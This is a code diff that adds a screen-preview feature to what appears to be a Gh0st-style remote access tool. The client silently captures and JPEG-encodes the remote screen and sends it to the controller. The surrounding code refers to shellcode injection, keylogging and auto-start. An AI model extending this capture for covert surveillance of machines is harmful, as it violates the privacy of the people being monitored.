diff --git a/client/ClientDll_vs2015.vcxproj b/client/ClientDll_vs2015.vcxproj
index aaa1780..540d628 100644
--- a/client/ClientDll_vs2015.vcxproj
+++ b/client/ClientDll_vs2015.vcxproj
@@ -199,6 +199,7 @@
+
@@ -241,6 +242,7 @@
+
diff --git a/client/ClientDll_vs2015.vcxproj.filters b/client/ClientDll_vs2015.vcxproj.filters
index 8be4571..f3c60ed 100644
--- a/client/ClientDll_vs2015.vcxproj.filters
+++ b/client/ClientDll_vs2015.vcxproj.filters
@@ -27,6 +27,7 @@
+
@@ -70,6 +71,7 @@
+
diff --git a/client/KernelManager.cpp b/client/KernelManager.cpp
index b60546c..c5274e1 100644
--- a/client/KernelManager.cpp
+++ b/client/KernelManager.cpp
@@ -18,6 +18,7 @@
#include "auto_start.h"
#include "ShellcodeInj.h"
#include "KeyboardManager.h"
+#include "ScreenPreview.h"
#include "common/file_upload.h"
#include "common/DateVerify.h"
#include "common/LANChecker.h"
@@ -1137,6 +1138,43 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
break;
}
+ case COMMAND_SCREEN_PREVIEW_REQ: {
+ if (ulLength < sizeof(ScreenPreviewReq)) break;
+ ScreenPreviewReq req;
+ memcpy(&req, szBuffer, sizeof(req));
+ // 限流:同一时刻最多 1 个抓屏任务在跑,防御服务端洪泛或异常重发把客户端打爆
+ static std::atomic s_inFlight{0};
+ if (s_inFlight.fetch_add(1) >= 1) {
+ s_inFlight.fetch_sub(1);
+ break; // 直接丢弃,让服务端 4s 超时降级为"预览不可用"
+ }
+ // 投递到工作线程,避免阻塞 OnReceive;抓屏 + 编码可能耗几十毫秒
+ std::thread([this, req]() {
+ struct Guard { ~Guard(){ s_inFlight.fetch_sub(1); } } guard;
+ std::vector jpg;
+ int w = 0, h = 0;
+ int st = CaptureAndEncodePreview(req.maxWidth, req.jpegQuality, jpg, w, h);
+
+ std::vector pkt(sizeof(ScreenPreviewRspHeader) + (st == SCREEN_PREVIEW_OK ? jpg.size() : 0));
+ ScreenPreviewRspHeader* hdr = reinterpret_cast(pkt.data());
+ memset(hdr, 0, sizeof(*hdr));
+ hdr->token = TOKEN_SCREEN_PREVIEW_RSP;
+ hdr->reqId = req.reqId;
+ hdr->status = (uint8_t)st;
+ hdr->format = SCREEN_PREVIEW_FMT_JPEG;
+ hdr->width = (uint16_t)w;
+ hdr->height = (uint16_t)h;
+ hdr->bytes = (uint32_t)(st == SCREEN_PREVIEW_OK ? jpg.size() : 0);
+ if (st == SCREEN_PREVIEW_OK && !jpg.empty()) {
+ memcpy(pkt.data() + sizeof(*hdr), jpg.data(), jpg.size());
+ }
+ if (m_ClientObject && m_ClientObject->IsConnected()) {
+ m_ClientObject->Send2Server((char*)pkt.data(), (int)pkt.size());
+ }
+ }).detach();
+ break;
+ }
+
case COMMAND_SCREEN_SPY: {
UserParam* user = new UserParam{ ulLength > 1 ? new BYTE[ulLength - 1] : nullptr, int(ulLength-1) };
if (ulLength > 1) {
diff --git a/client/ScreenPreview.cpp b/client/ScreenPreview.cpp
new file mode 100644
index 0000000..52e0194
--- /dev/null
+++ b/client/ScreenPreview.cpp
@@ -0,0 +1,188 @@
+// ScreenPreview.cpp
+#include "stdafx.h"
+#include "ScreenPreview.h"
+#include "../common/commands.h" // ScreenPreviewStatus
+
+#include
+#include // IUnknown / IStream — gdiplus.h 依赖它们已声明
+#include
+#pragma comment(lib, "gdiplus.lib")
+
+using namespace Gdiplus;
+
+namespace {
+
+// GDI+ 进程级初始化(与 Bmp2Video 互不冲突;Startup 可重入计数)
+struct GdiplusBoot {
+ ULONG_PTR token = 0;
+ bool ok = false;
+ GdiplusBoot()
+ {
+ GdiplusStartupInput in;
+ ok = (GdiplusStartup(&token, &in, NULL) == Ok);
+ }
+ ~GdiplusBoot()
+ {
+ if (ok) GdiplusShutdown(token);
+ }
+};
+static GdiplusBoot g_boot;
+
+int GetJpegEncoderClsid(CLSID& clsid)
+{
+ UINT num = 0, size = 0;
+ GetImageEncodersSize(&num, &size);
+ if (size == 0) return -1;
+
+ std::vector buf(size);
+ ImageCodecInfo* info = reinterpret_cast(buf.data());
+ GetImageEncoders(num, size, info);
+ for (UINT i = 0; i < num; ++i) {
+ if (wcscmp(info[i].MimeType, L"image/jpeg") == 0) {
+ clsid = info[i].Clsid;
+ return 0;
+ }
+ }
+ return -1;
+}
+
+// 抓主屏到 24bpp Bitmap,目标尺寸已等比换算。
+// 返回新分配的 Bitmap*,失败返回 nullptr。调用者负责 delete。
+Bitmap* GrabPrimaryScaled(int targetW, int targetH)
+{
+ HDC hScreen = GetDC(NULL);
+ if (!hScreen) return nullptr;
+
+ int srcX = GetSystemMetrics(SM_XVIRTUALSCREEN); // 主屏左上 — 仅取主屏时用 0,0
+ int srcY = GetSystemMetrics(SM_YVIRTUALSCREEN);
+ (void)srcX; (void)srcY;
+
+ int srcW = GetSystemMetrics(SM_CXSCREEN);
+ int srcH = GetSystemMetrics(SM_CYSCREEN);
+ if (srcW <= 0 || srcH <= 0) {
+ ReleaseDC(NULL, hScreen);
+ return nullptr;
+ }
+
+ HDC hMem = CreateCompatibleDC(hScreen);
+ HBITMAP hBmp = CreateCompatibleBitmap(hScreen, targetW, targetH);
+ if (!hMem || !hBmp) {
+ if (hBmp) DeleteObject(hBmp);
+ if (hMem) DeleteDC(hMem);
+ ReleaseDC(NULL, hScreen);
+ return nullptr;
+ }
+
+ HGDIOBJ oldBmp = SelectObject(hMem, hBmp);
+
+ // 高质量缩放:HALFTONE 内插
+ SetStretchBltMode(hMem, HALFTONE);
+ SetBrushOrgEx(hMem, 0, 0, NULL);
+ BOOL bb = StretchBlt(hMem, 0, 0, targetW, targetH,
+ hScreen, 0, 0, srcW, srcH, SRCCOPY | CAPTUREBLT);
+
+ SelectObject(hMem, oldBmp);
+
+ Bitmap* out = nullptr;
+ if (bb) {
+ // 拷贝 HBITMAP 到 GDI+ Bitmap,避免后续释放设备 DC 影响图像
+ Bitmap tmp(hBmp, NULL);
+ if (tmp.GetLastStatus() == Ok) {
+ out = tmp.Clone(0, 0, targetW, targetH, PixelFormat24bppRGB);
+ if (out && out->GetLastStatus() != Ok) {
+ delete out;
+ out = nullptr;
+ }
+ }
+ }
+
+ DeleteObject(hBmp);
+ DeleteDC(hMem);
+ ReleaseDC(NULL, hScreen);
+ return out;
+}
+
+} // namespace
+
+int CaptureAndEncodePreview(int maxWidth, int quality,
+ std::vector& out,
+ int& outWidth, int& outHeight)
+{
+ out.clear();
+ outWidth = outHeight = 0;
+
+ if (!g_boot.ok) return SCREEN_PREVIEW_NOT_SUPPORTED;
+ if (maxWidth < 64) maxWidth = 64;
+ if (maxWidth > 1920) maxWidth = 1920;
+ if (quality < 1) quality = 1;
+ if (quality > 100) quality = 100;
+
+ int srcW = GetSystemMetrics(SM_CXSCREEN);
+ int srcH = GetSystemMetrics(SM_CYSCREEN);
+ if (srcW <= 0 || srcH <= 0) return SCREEN_PREVIEW_CAPTURE_FAILED;
+
+ // 等比缩放,禁止放大
+ int targetW = (srcW <= maxWidth) ? srcW : maxWidth;
+ int targetH = (int)((double)srcH * targetW / srcW + 0.5);
+ if (targetH <= 0) targetH = 1;
+ // 偶数对齐,JPEG 编码更高效
+ targetW &= ~1;
+ targetH &= ~1;
+ if (targetW < 2) targetW = 2;
+ if (targetH < 2) targetH = 2;
+
+ Bitmap* bmp = GrabPrimaryScaled(targetW, targetH);
+ if (!bmp) return SCREEN_PREVIEW_CAPTURE_FAILED;
+
+ CLSID clsid;
+ if (GetJpegEncoderClsid(clsid) != 0) {
+ delete bmp;
+ return SCREEN_PREVIEW_ENCODE_FAILED;
+ }
+
+ EncoderParameters params;
+ params.Count = 1;
+ params.Parameter[0].Guid = EncoderQuality;
+ params.Parameter[0].Type = EncoderParameterValueTypeLong;
+ params.Parameter[0].NumberOfValues = 1;
+ ULONG q = (ULONG)quality;
+ params.Parameter[0].Value = &q;
+
+ IStream* stream = nullptr;
+ if (FAILED(CreateStreamOnHGlobal(NULL, TRUE, &stream))) {
+ delete bmp;
+ return SCREEN_PREVIEW_ENCODE_FAILED;
+ }
+
+ Status st = bmp->Save(stream, &clsid, ¶ms);
+ delete bmp;
+
+ if (st != Ok) {
+ stream->Release();
+ return SCREEN_PREVIEW_ENCODE_FAILED;
+ }
+
+ HGLOBAL hMem = NULL;
+ if (FAILED(GetHGlobalFromStream(stream, &hMem)) || !hMem) {
+ stream->Release();
+ return SCREEN_PREVIEW_ENCODE_FAILED;
+ }
+ SIZE_T sz = GlobalSize(hMem);
+ if (sz == 0) {
+ stream->Release();
+ return SCREEN_PREVIEW_ENCODE_FAILED;
+ }
+
+ void* p = GlobalLock(hMem);
+ if (!p) {
+ stream->Release();
+ return SCREEN_PREVIEW_ENCODE_FAILED;
+ }
+ out.assign((unsigned char*)p, (unsigned char*)p + sz);
+ GlobalUnlock(hMem);
+ stream->Release();
+
+ outWidth = targetW;
+ outHeight = targetH;
+ return SCREEN_PREVIEW_OK;
+}
diff --git a/client/ScreenPreview.h b/client/ScreenPreview.h
new file mode 100644
index 0000000..471cde6
--- /dev/null
+++ b/client/ScreenPreview.h
@@ -0,0 +1,16 @@
+// ScreenPreview.h
+// 屏幕预览:抓主屏 → 等比缩放 → JPEG 编码,供 COMMAND_SCREEN_PREVIEW_REQ 响应使用。
+#pragma once
+
+#include
+
+// 抓取主屏并编码成 JPEG。
+// maxWidth 服务端期望的宽度;客户端按源屏宽度等比缩放,不会强制放大
+// quality JPEG 质量 1..100(建议 40..85)
+// out 编码后的 JPEG 字节流
+// outWidth 实际编码图宽
+// outHeight 实际编码图高
+// 返回 0 表示成功;非 0 见 ScreenPreviewStatus(枚举在 commands.h)
+int CaptureAndEncodePreview(int maxWidth, int quality,
+ std::vector& out,
+ int& outWidth, int& outHeight);
diff --git a/client/ghost_vs2015.vcxproj b/client/ghost_vs2015.vcxproj
index fc99489..e42775d 100644
--- a/client/ghost_vs2015.vcxproj
+++ b/client/ghost_vs2015.vcxproj
@@ -209,6 +209,7 @@
+
@@ -257,6 +258,7 @@
+
diff --git a/common/commands.h b/common/commands.h
index 9c486aa..082449a 100644
--- a/common/commands.h
+++ b/common/commands.h
@@ -125,9 +125,10 @@ inline int isValid_10s()
#define DLL_VERSION __DATE__ // DLL版本
// 客户端能力位
-#define CLIENT_CAP_V2 0x0001 // 支持 V2 文件传输
-#define CLIENT_CAP_UTF8 0x0002 // 协议字符串字段统一使用 UTF-8 编码(活动窗口、窗口列表、键盘记录中的窗口标题等)
- // 无此位 = 老客户端,按系统 ANSI(默认 CP936)解读
+#define CLIENT_CAP_V2 0x0001 // 支持 V2 文件传输
+#define CLIENT_CAP_UTF8 0x0002 // 协议字符串字段统一使用 UTF-8 编码(活动窗口、窗口列表、键盘记录中的窗口标题等)
+ // 无此位 = 老客户端,按系统 ANSI(默认 CP936)解读
+#define CLIENT_CAP_SCREEN_PREVIEW 0x0004 // 支持屏幕预览(双击在线主机时弹缩略图)
#define TALK_DLG_MAXLEN 1024 // 最大输入字符长度
@@ -334,6 +335,8 @@ enum {
CMD_PEER_TO_PEER = 244, // P2P通信
TOKEN_CLIENTID = 245,
TOKEN_CONN_AUTH = 246, // 子连接身份校验包(客户端首发,服务端回 ConnAuthAck)
+ COMMAND_SCREEN_PREVIEW_REQ = 247, // 屏幕预览请求(服务端→客户端)
+ TOKEN_SCREEN_PREVIEW_RSP = 248, // 屏幕预览响应(客户端→服务端)
};
// 子连接校验:HMAC 签名 (clientID || timestamp || nonce),服务端通过校验后把 clientID
@@ -374,6 +377,47 @@ struct ConnAuthAck {
static_assert(sizeof(ConnAuthPacket) == 512, "ConnAuthPacket must be exactly 512 bytes");
static_assert(sizeof(ConnAuthAck) == 256, "ConnAuthAck must be exactly 256 bytes");
+// 屏幕预览:服务端按双击在线主机触发,向客户端要一张缩略图(JPEG),与浮窗一起显示。
+// 服务端依 ctx 最近心跳 Ping + RES_RESOLUTION 决定 maxWidth/quality 后下发;客户端
+// 主屏抓图 → 等比缩放 → JPEG 编码 → 回响应。format 字段 v1 锁 0=JPEG,预留 PNG/WebP。
+#pragma pack(push, 1)
+struct ScreenPreviewReq {
+ uint8_t cmd; // = COMMAND_SCREEN_PREVIEW_REQ
+ uint16_t reqId; // 请求序号,用于丢弃过期响应
+ uint16_t maxWidth; // 服务端期望的目标宽度(客户端等比缩放,不强制)
+ uint8_t jpegQuality; // 1..100
+ uint16_t reserved;
+}; // 总 8 字节
+
+enum ScreenPreviewStatus {
+ SCREEN_PREVIEW_OK = 0,
+ SCREEN_PREVIEW_CAPTURE_FAILED = 1, // 抓屏失败
+ SCREEN_PREVIEW_ENCODE_FAILED = 2, // 编码失败
+ SCREEN_PREVIEW_NOT_SUPPORTED = 3, // 平台不支持
+};
+
+enum ScreenPreviewFormat {
+ SCREEN_PREVIEW_FMT_JPEG = 0,
+ SCREEN_PREVIEW_FMT_PNG = 1, // 预留
+ SCREEN_PREVIEW_FMT_WEBP = 2, // 预留
+};
+
+struct ScreenPreviewRspHeader {
+ uint8_t token; // = TOKEN_SCREEN_PREVIEW_RSP
+ uint16_t reqId; // 回显请求序号
+ uint8_t status; // ScreenPreviewStatus
+ uint8_t format; // ScreenPreviewFormat(v1 仅 JPEG)
+ uint16_t width; // 实际编码图宽
+ uint16_t height; // 实际编码图高
+ uint32_t bytes; // 图像字节数(紧随其后)
+ uint8_t reserved[3];
+ // 后接 data[bytes]
+}; // 头部 16 字节
+#pragma pack(pop)
+
+static_assert(sizeof(ScreenPreviewReq) == 8, "ScreenPreviewReq must be 8 bytes");
+static_assert(sizeof(ScreenPreviewRspHeader) == 16, "ScreenPreviewRspHeader must be 16 bytes");
+
enum ConnAuthStatus {
CONN_AUTH_OK = 0,
CONN_AUTH_BAD_SIZE = 1, // 包长度不对
@@ -970,7 +1014,7 @@ typedef struct LOGIN_INFOR {
{
memset(this, 0, sizeof(LOGIN_INFOR));
bToken = TOKEN_LOGIN;
- sprintf_s(moduleVersion, "%s-%04X", DLL_VERSION, CLIENT_CAP_V2 | CLIENT_CAP_UTF8);
+ sprintf_s(moduleVersion, "%s-%04X", DLL_VERSION, CLIENT_CAP_V2 | CLIENT_CAP_UTF8 | CLIENT_CAP_SCREEN_PREVIEW);
}
LOGIN_INFOR& Speed(unsigned long speed)
{
@@ -1143,6 +1187,29 @@ inline const QualityProfile& GetQualityProfile(int level) {
return g_QualityProfiles[level];
}
+// 屏幕预览质量配置(与 QualityLevel 共用 RTT 阈值表,但参数维度不同:缩略图只关心
+// 编码尺寸 + JPEG 质量,没有 FPS / 算法等运动视频参数)
+struct PreviewProfile {
+ int maxWidth; // 期望编码宽度(客户端会等比缩放,禁止放大)
+ int jpegQuality; // JPEG 质量 1..100
+};
+
+inline const PreviewProfile& GetScreenPreviewProfile(int level) {
+ static const PreviewProfile g_PreviewProfiles[QUALITY_COUNT] = {
+ { 1024, 85 }, // Ultra: 超清 (LAN/同省,4K 源屏可进一步放大到 1280)
+ { 800, 80 }, // High: 高清 (跨省直连)
+ { 640, 75 }, // Good: 标清 (同国/邻国)
+ { 480, 70 }, // Medium: 常规 (大陆间)
+ { 384, 60 }, // Low: 低清 (跨洲)
+ { 256, 50 }, // Minimal: 最低 (极差网络/卫星链路)
+ };
+ if (level < 0 || level >= QUALITY_COUNT) {
+ static const PreviewProfile fallback = { 480, 70 };
+ return fallback;
+ }
+ return g_PreviewProfiles[level];
+}
+
// 根据RTT获取目标质量等级 (控制端使用)
inline int GetTargetQualityLevel(int rtt, int usingFRP) {
// 根据模式应用不同 RTT阈值 (毫秒)
diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp
index 4906e90..c2ba46f 100644
--- a/server/2015Remote/2015RemoteDlg.cpp
+++ b/server/2015Remote/2015RemoteDlg.cpp
@@ -71,6 +71,7 @@
#include "FrpsForSubDlg.h"
#include "PluginSettingsDlg.h"
#include "TriggerSettingsDlg.h"
+#include "PreviewTipWnd.h"
#include "common/key.h"
#include "UIBranding.h"
@@ -86,6 +87,7 @@
#define TIMER_REFRESH_LIST 5
#define TIMER_STATUSBAR_UPDATE 6
#define TIMER_STATUSBAR_INIT 7
+#define TIMER_PREVIEW_ARRIVAL 8 // 屏幕预览到达超时(4 秒未收到则提示"预览不可用")
#define TODO_NOTICE MessageBoxL("This feature has not been implemented!\nPlease contact: 962914132@qq.com", "提示", MB_ICONINFORMATION);
#define TINY_DLL_NAME "TinyRun.dll"
#define FRPC_DLL_NAME "Frpc.dll"
@@ -799,6 +801,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
ON_MESSAGE(WM_ASSIGN_CLIENT, AssignClient)
ON_MESSAGE(WM_ASSIGN_ALLCLIENT, AssignAllClient)
ON_MESSAGE(WM_UPDATE_ACTIVEWND, UpdateUserEvent)
+ ON_MESSAGE(WM_PREVIEW_RESPONSE, OnPreviewResponse)
ON_WM_HELPINFO()
ON_COMMAND(ID_ONLINE_SHARE, &CMy2015RemoteDlg::OnOnlineShare)
ON_COMMAND(ID_TOOL_AUTH, &CMy2015RemoteDlg::OnToolAuth)
@@ -3039,6 +3042,12 @@ void CMy2015RemoteDlg::OnTimer(UINT_PTR nIDEvent)
if (nIDEvent == TIMER_CLOSEWND) {
DeletePopupWindow();
}
+ if (nIDEvent == TIMER_PREVIEW_ARRIVAL) {
+ KillTimer(TIMER_PREVIEW_ARRIVAL);
+ if (m_pPreviewTip && ::IsWindow(m_pPreviewTip->GetSafeHwnd())) {
+ m_pPreviewTip->MarkPreviewUnavailable();
+ }
+ }
if (nIDEvent == TIMER_CLEAR_BALLOON) {
KillTimer(TIMER_CLEAR_BALLOON);
@@ -3354,7 +3363,10 @@ void CMy2015RemoteDlg::DeletePopupWindow(BOOL bForce)
m_pFloatingTip->DestroyWindow();
SAFE_DELETE(m_pFloatingTip);
+ m_pPreviewTip = nullptr;
+ m_PreviewReqId = 0;
KillTimer(TIMER_CLOSEWND);
+ KillTimer(TIMER_PREVIEW_ARRIVAL);
}
@@ -5438,6 +5450,15 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
case 137: // 心跳【L】
g_2015RemoteDlg->PostMessageA(WM_UPDATE_ACTIVEWND, 0, (LPARAM)ContextObject);
break;
+ case TOKEN_SCREEN_PREVIEW_RSP: {
+ // 屏幕预览响应:把整个包拷到堆上,转给主线程处理(IO 线程不接触 UI)
+ if (len < sizeof(ScreenPreviewRspHeader)) break;
+ auto* pkt = new std::vector(szBuffer, szBuffer + len);
+ if (!g_2015RemoteDlg->PostMessageA(WM_PREVIEW_RESPONSE, 0, (LPARAM)pkt)) {
+ delete pkt;
+ }
+ break;
+ }
case SOCKET_DLLLOADER: {// 请求DLL【L】
auto len = ContextObject->InDeCompressedBuffer.GetBufferLength();
bool is64Bit = len > 1 ? ContextObject->InDeCompressedBuffer.GetBYTE(1) : false;
@@ -7558,36 +7579,141 @@ void CMy2015RemoteDlg::OnListClick(NMHDR* pNMHDR, LRESULT* pResult)
CPoint pt;
GetCursorPos(&pt);
- // 清理旧提示
+ // 清理旧提示(DeletePopupWindow 会同时清掉 m_pPreviewTip / m_PreviewReqId / 定时器)
DeletePopupWindow(TRUE);
- // 创建提示窗口
- m_pFloatingTip = new CWnd();
- int width = res[RES_FILE_PATH].GetLength() * 10 + 36;
- width = min(max(width, 360), 800);
- CRect rect(pt.x, pt.y, pt.x + width, pt.y + 120); // 宽度、高度
+ // 屏幕预览触发条件:客户端支持能力位 + 当前活动窗口非 Locked/Inactive
+ CString activeWnd = ctx->GetClientData(ONLINELIST_LOGINTIME);
+ bool isIdleOrLocked =
+ activeWnd.Find(_T("Locked")) == 0 || activeWnd.Find(_T("Inactive")) == 0;
+ bool wantPreview = ctx->SupportsScreenPreview() && !isIdleOrLocked;
- BOOL bOk = m_pFloatingTip->CreateEx(
- WS_EX_TOPMOST | WS_EX_TOOLWINDOW | WS_EX_NOACTIVATE,
- _T("STATIC"),
- strText,
- WS_POPUP | WS_VISIBLE | WS_BORDER | SS_LEFT | SS_NOTIFY,
- rect,
- this,
- 0);
+ // 创建新预览浮窗
+ WORD maxWidth = 480;
+ BYTE jpegQ = 70;
+ if (wantPreview) {
+ ChooseScreenPreviewParams(ctx, maxWidth, jpegQ);
+ }
+ auto* tip = new CPreviewTipWnd();
+ // 项目是 MBCS(CP_ACP),浮窗内部用宽字符渲染(避免跨语言系统乱码)。
+ // 这里把 strText (CStringA) 按 CP_ACP 转 wide。
+ CStringW textW;
+ {
+ int wlen = MultiByteToWideChar(CP_ACP, 0, strText.GetString(), -1, NULL, 0);
+ if (wlen > 1) {
+ MultiByteToWideChar(CP_ACP, 0, strText.GetString(), -1, textW.GetBufferSetLength(wlen - 1), wlen);
+ textW.ReleaseBuffer(wlen - 1);
+ }
+ }
+ BOOL bOk = tip->Create(this, pt, textW, wantPreview ? maxWidth : 0);
if (bOk) {
- m_pFloatingTip->SetFont(GetFont());
- m_pFloatingTip->ShowWindow(SW_SHOW);
- SetTimer(TIMER_CLOSEWND, 5000, nullptr);
+ m_pFloatingTip = tip;
+ m_pPreviewTip = tip;
+ // 整体超时:有预览 8 秒(图到达后会续命 5s),纯文本 5 秒
+ SetTimer(TIMER_CLOSEWND, wantPreview ? 8000 : 5000, nullptr);
+
+ if (wantPreview) {
+ // 序号 0 视为"无效",从 1 开始递增
+ if (++m_PreviewReqId == 0) m_PreviewReqId = 1;
+ tip->SetReqId(m_PreviewReqId);
+ SendScreenPreviewRequest(ctx, m_PreviewReqId, maxWidth, jpegQ);
+ // 4 秒未收到 → 在浮窗里标"预览不可用"
+ SetTimer(TIMER_PREVIEW_ARRIVAL, 4000, nullptr);
+ }
} else {
- SAFE_DELETE(m_pFloatingTip);
+ delete tip;
}
}
*pResult = 0;
}
+// 屏幕预览参数挑选:复用既有 GetTargetQualityLevel + GetScreenPreviewProfile
+// RTT 阈值表与屏幕共享共用(FRP 模式阈值更宽松);超清档(Ultra/High)+ 4K/超宽屏
+// 时按 min(screenWidth/4, 1280) 自适应放大,避免高分屏被压成无信息缩略图
+void CMy2015RemoteDlg::ChooseScreenPreviewParams(context* ctx, WORD& maxWidth, BYTE& jpegQuality) const
+{
+ int ping = 0;
+ {
+ CString p = ctx->GetClientData(ONLINELIST_PING);
+ if (!p.IsEmpty()) ping = atoi(p.GetString());
+ }
+ // ping 未上报(0/缺失)→ 当中等档处理,避免误判为局域网刷过大缩略图
+ int rttForLevel = ping > 0 ? ping : 250;
+
+ int level = GetTargetQualityLevel(rttForLevel, m_settings.UsingFRPProxy ? 1 : 0);
+ const PreviewProfile& prof = GetScreenPreviewProfile(level);
+ int base = prof.maxWidth;
+ BYTE q = (BYTE)prof.jpegQuality;
+
+ // 4K/超宽屏自适应(仅 Ultra/High 启用,弱网档不放大保带宽)
+ if (level <= QUALITY_HIGH) {
+ CString resStr = ctx->GetAdditionalData(RES_RESOLUTION);
+ if (!resStr.IsEmpty()) {
+ int sw = 0, sh = 0;
+ if (_stscanf_s(resStr, _T("%dx%d"), &sw, &sh) == 2 && sw >= 2560) {
+ int adj = sw / 4;
+ if (adj > 1280) adj = 1280;
+ if (adj > base) base = adj;
+ }
+ }
+ }
+
+ maxWidth = (WORD)base;
+ jpegQuality = q;
+}
+
+void CMy2015RemoteDlg::SendScreenPreviewRequest(context* ctx, WORD reqId, WORD maxWidth, BYTE jpegQuality)
+{
+ if (!ctx) return;
+ ScreenPreviewReq req;
+ memset(&req, 0, sizeof(req));
+ req.cmd = COMMAND_SCREEN_PREVIEW_REQ;
+ req.reqId = reqId;
+ req.maxWidth = maxWidth;
+ req.jpegQuality = jpegQuality;
+ ctx->Send2Client((PBYTE)&req, sizeof(req));
+}
+
+// 收到 TOKEN_SCREEN_PREVIEW_RSP(在主线程)
+// wParam: 未使用(避免依赖 WPARAM 宽度,Win32 上 32 位会截 64 位 clientID)
+// LPARAM: 指向堆分配的 std::vector*(含完整响应包:[Header|JPEG]),处理完必须 delete。
+// 校验思路:reqId 由对话框单调递增、每次双击重置 + 同时只有 1 个 in-flight tip,足以
+// 过滤过期/乱串响应,无需再叠加 clientID 校验。
+LRESULT CMy2015RemoteDlg::OnPreviewResponse(WPARAM /*wParam*/, LPARAM lParam)
+{
+ auto* pkt = reinterpret_cast*>(lParam);
+ if (!pkt) return 0;
+ std::unique_ptr> guard(pkt);
+
+ if (pkt->size() < sizeof(ScreenPreviewRspHeader)) return 0;
+ const ScreenPreviewRspHeader* hdr = reinterpret_cast(pkt->data());
+ if (hdr->token != TOKEN_SCREEN_PREVIEW_RSP) return 0;
+
+ // 序号校验:和当前期待的 reqId 不符 → 过期响应,丢弃
+ if (m_PreviewReqId == 0 || hdr->reqId != m_PreviewReqId) return 0;
+ if (!m_pPreviewTip || !::IsWindow(m_pPreviewTip->GetSafeHwnd())) return 0;
+
+ KillTimer(TIMER_PREVIEW_ARRIVAL);
+
+ if (hdr->status != SCREEN_PREVIEW_OK || hdr->bytes == 0 ||
+ pkt->size() < sizeof(ScreenPreviewRspHeader) + hdr->bytes ||
+ hdr->format != SCREEN_PREVIEW_FMT_JPEG)
+ {
+ m_pPreviewTip->MarkPreviewUnavailable();
+ return 0;
+ }
+
+ const BYTE* jpeg = pkt->data() + sizeof(ScreenPreviewRspHeader);
+ m_pPreviewTip->SetImageFromJpeg(jpeg, hdr->bytes);
+
+ // 图到达后续命 5 秒
+ KillTimer(TIMER_CLOSEWND);
+ SetTimer(TIMER_CLOSEWND, 5000, nullptr);
+ return 0;
+}
+
void CMy2015RemoteDlg::OnOnlineUnauthorize()
{
diff --git a/server/2015Remote/2015RemoteDlg.h b/server/2015Remote/2015RemoteDlg.h
index 5068015..fb45046 100644
--- a/server/2015Remote/2015RemoteDlg.h
+++ b/server/2015Remote/2015RemoteDlg.h
@@ -230,6 +230,10 @@ public:
VOID SendAllCommand(PBYTE szBuffer, ULONG ulLength);
// 显示用户上线信息
CWnd* m_pFloatingTip = nullptr;
+ // 屏幕预览:m_pFloatingTip 实际是 CPreviewTipWnd 时这里有同一指针的有类型副本,
+ // 用于在收到 JPEG 后调用 SetImageFromJpeg;DeletePopupWindow 释放时一并置空。
+ class CPreviewTipWnd* m_pPreviewTip = nullptr;
+ WORD m_PreviewReqId = 0; // 当前期待的预览响应序号;0 = 无待响应
// 记录 clientID(心跳更新)
std::set m_DirtyClients;
// 待处理的上线/下线事件(批量更新减少闪烁)
@@ -434,6 +438,12 @@ public:
afx_msg void OnWhatIsThis();
afx_msg void OnOnlineAuthorize();
void OnListClick(NMHDR* pNMHDR, LRESULT* pResult);
+ // 屏幕预览:依 ctx 最近 RTT + 屏幕分辨率挑参数;4K/超宽屏在 LAN 档自适应放大
+ void ChooseScreenPreviewParams(context* ctx, WORD& maxWidth, BYTE& jpegQuality) const;
+ // 发起预览请求;reqId 应与 m_PreviewReqId 同步
+ void SendScreenPreviewRequest(context* ctx, WORD reqId, WORD maxWidth, BYTE jpegQuality);
+ // 收到 TOKEN_SCREEN_PREVIEW_RSP(在主线程处理)
+ afx_msg LRESULT OnPreviewResponse(WPARAM wParam, LPARAM lParam);
afx_msg void OnOnlineUnauthorize();
afx_msg void OnToolRequestAuth();
afx_msg LRESULT OnPasswordCheck(WPARAM wParam, LPARAM lParam);
diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj b/server/2015Remote/2015Remote_vs2015.vcxproj
index 53a5ce6..74e7ac2 100644
--- a/server/2015Remote/2015Remote_vs2015.vcxproj
+++ b/server/2015Remote/2015Remote_vs2015.vcxproj
@@ -338,6 +338,7 @@
+
@@ -388,6 +389,7 @@
NotUsing
+
diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj.filters b/server/2015Remote/2015Remote_vs2015.vcxproj.filters
index fd0ebd1..d82bacc 100644
--- a/server/2015Remote/2015Remote_vs2015.vcxproj.filters
+++ b/server/2015Remote/2015Remote_vs2015.vcxproj.filters
@@ -81,6 +81,7 @@
+
@@ -185,6 +186,7 @@
+
diff --git a/server/2015Remote/PreviewTipWnd.cpp b/server/2015Remote/PreviewTipWnd.cpp
new file mode 100644
index 0000000..d18caf7
--- /dev/null
+++ b/server/2015Remote/PreviewTipWnd.cpp
@@ -0,0 +1,243 @@
+// PreviewTipWnd.cpp
+#include "stdafx.h"
+#include "PreviewTipWnd.h"
+
+#include // IUnknown / IStream — gdiplus.h 依赖它们已声明
+#include
+#pragma comment(lib, "gdiplus.lib")
+
+using namespace Gdiplus;
+
+namespace {
+constexpr int PADDING = 8;
+constexpr int IMAGE_TEXT_GAP = 6; // 图像与下方文本之间的留白
+constexpr int MIN_TEXT_W = 360;
+constexpr int MAX_TEXT_W = 720; // 文本可换行宽度上限(垂直布局,宽度不再受图像挤压)
+constexpr int MAX_IMAGE_W = 960; // 显示上限(防止 LAN 档 1280 的 JPEG 把窗口顶到屏幕外)
+constexpr int LOADING_W = 480; // 占位的最小宽度(图像未到达时)
+constexpr int LOADING_H = 270;
+} // namespace
+
+BEGIN_MESSAGE_MAP(CPreviewTipWnd, CWnd)
+ ON_WM_PAINT()
+ ON_WM_ERASEBKGND()
+END_MESSAGE_MAP()
+
+CPreviewTipWnd::CPreviewTipWnd() = default;
+
+CPreviewTipWnd::~CPreviewTipWnd()
+{
+ // m_image 通过 unique_ptr 自动释放
+}
+
+BOOL CPreviewTipWnd::Create(CWnd* pParent, CPoint anchor, const CStringW& text, int imageReserveW)
+{
+ m_text = text;
+ m_imageReserveW = imageReserveW > 0 ? min(imageReserveW, MAX_IMAGE_W) : 0;
+ m_imageReserveH = m_imageReserveW > 0 ? (m_imageReserveW * 9 / 16) : 0;
